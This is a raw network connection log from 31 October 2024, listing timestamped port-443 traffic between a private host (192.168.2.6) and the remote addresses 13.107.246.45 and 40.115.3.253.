Oct 31, 2024 09:07:47.836991072 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.837018013 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.837085962 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.837238073 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.837249041 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.883002996 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.883476973 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.883505106 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.883924961 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.883938074 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.892030954 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.892353058 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.892376900 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.892787933 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.892792940 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.921673059 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.922049999 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.922058105 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:47.922492981 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:47.922498941 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.026427984 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.026494026 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.026572943 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.026958942 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.026974916 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.026990891 CET	49960	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.026994944 CET	443	49960	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.030291080 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.030375004 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.030458927 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.030585051 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.030643940 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.035058975 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.035135031 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.035206079 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.035356045 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.035398960 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.035428047 CET	49959	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.035444975 CET	443	49959	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.038635969 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.038661003 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.038722038 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.038938046 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.038948059 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.052589893 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.052649975 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.052697897 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.052902937 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.052902937 CET	49961	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.052917004 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.052925110 CET	443	49961	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.055838108 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.055962086 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.056041002 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.056159019 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.056202888 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.566330910 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.566899061 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.566935062 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.567358017 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.567364931 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.586623907 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.586927891 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.586937904 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.587286949 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.587291956 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.698988914 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.699029922 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.699071884 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.699106932 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.699139118 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.699377060 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.699399948 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.699414015 CET	49962	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.699420929 CET	443	49962	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.702267885 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.702281952 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.702368021 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.702526093 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.702534914 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.718453884 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.718532085 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.718611956 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.718722105 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.718729973 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.718740940 CET	49963	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.718744040 CET	443	49963	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.721158028 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.721172094 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.721237898 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.721374035 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.721385002 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.762254000 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.762818098 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.762837887 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.763261080 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.763267040 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.777693033 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.778042078 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.778050900 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.778359890 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.778366089 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.797580004 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.798068047 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.798077106 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.798393965 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.798398972 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.891132116 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.891165018 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.891211987 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.891299009 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.891540051 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.891561985 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.891576052 CET	49964	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.891582966 CET	443	49964	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.894459963 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.894500017 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.894572020 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.894710064 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.894726992 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.905028105 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.905093908 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.905260086 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.905637980 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.905644894 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.905654907 CET	49965	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.905659914 CET	443	49965	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.907790899 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.907809973 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.908052921 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.908052921 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.908071995 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.927970886 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.928169012 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.928215027 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.928225994 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.928236961 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.928287029 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.928394079 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.928402901 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.928411007 CET	49966	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.928416967 CET	443	49966	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.930960894 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.930978060 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:48.931031942 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.931337118 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:48.931348085 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.430721045 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.431346893 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.431356907 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.431843042 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.431847095 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.450877905 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.451189041 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.451203108 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.451544046 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.451548100 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.560046911 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.560115099 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.560318947 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.560345888 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.560354948 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.560364008 CET	49967	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.560368061 CET	443	49967	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.563045979 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.563059092 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.563327074 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.563327074 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.563344002 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.581850052 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.581893921 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.582093000 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.582138062 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.582144022 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.582154036 CET	49968	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.582156897 CET	443	49968	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.584291935 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.584306955 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.584372044 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.584491014 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.584502935 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.632765055 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.633259058 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.633270025 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.633574009 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.633709908 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.633716106 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.633922100 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.633963108 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.634253025 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.634260893 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.655273914 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.655575037 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.655597925 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.655945063 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.655950069 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.760900974 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.760952950 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.761007071 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.761066914 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.761101007 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.761354923 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.761367083 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.761375904 CET	49970	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.761379957 CET	443	49970	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.764420033 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.764442921 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.764520884 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.764533043 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.764686108 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.764713049 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.764724970 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.764744043 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.764777899 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.764777899 CET	49969	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.764794111 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.764805079 CET	443	49969	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.766807079 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.766834021 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.766926050 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.767038107 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.767050982 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.788916111 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.788976908 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.789119005 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.789138079 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.789144993 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.789164066 CET	49971	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.789170980 CET	443	49971	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.791093111 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.791131973 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:49.791187048 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.791304111 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:49.791327000 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.323895931 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.324419975 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.324431896 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.324882030 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.324892998 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.335546970 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.335931063 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.335946083 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.336308002 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.336314917 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.454902887 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.454965115 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.455131054 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.455568075 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.455568075 CET	49973	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.455586910 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.455596924 CET	443	49973	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.458525896 CET	49977	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.458563089 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.458647013 CET	49977	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.458821058 CET	49977	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.458836079 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.470128059 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.470206022 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.470273018 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.470318079 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.470330000 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.470339060 CET	49972	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.470344067 CET	443	49972	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.472551107 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.472590923 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.472670078 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.472821951 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.472836971 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.499505043 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.499957085 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.499974966 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.500368118 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.500372887 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.501036882 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.501404047 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.501413107 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.501667976 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.501672983 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.505259991 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.505570889 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.505583048 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.506256104 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.506259918 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.510296106 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:50.510317087 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:50.510380983 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:50.510934114 CET	49979	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:50.510950089 CET	443	49979	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:50.627566099 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.627626896 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.627712965 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.627949953 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.627959967 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.627969027 CET	49974	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.627973080 CET	443	49974	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.630563021 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.630626917 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.630630970 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.630680084 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.630697966 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.630752087 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.630878925 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.630893946 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.630911112 CET	49975	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.630917072 CET	443	49975	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.631834984 CET	49980	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.631865978 CET	443	49980	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.631964922 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.632018089 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.632066965 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.632275105 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.632287025 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.632297039 CET	49976	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.632302046 CET	443	49976	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.633352995 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.633403063 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.633474112 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.633708954 CET	49981	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.633733034 CET	443	49981	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.634466887 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.634500027 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:50.634569883 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.634723902 CET	49982	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:50.634751081 CET	443	49982	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.185822010 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.186263084 CET	49977	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.186351061 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.186769009 CET	49977	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.186789989 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.206672907 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.207170010 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.207190990 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.207592010 CET	49978	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.207597971 CET	443	49978	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.314080954 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.314135075 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.314232111 CET	49977	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.314399004 CET	49977	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:51.314414978 CET	443	49977	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:51.314425945 CET	49977	443	192.168.2.6	13.107.246.45
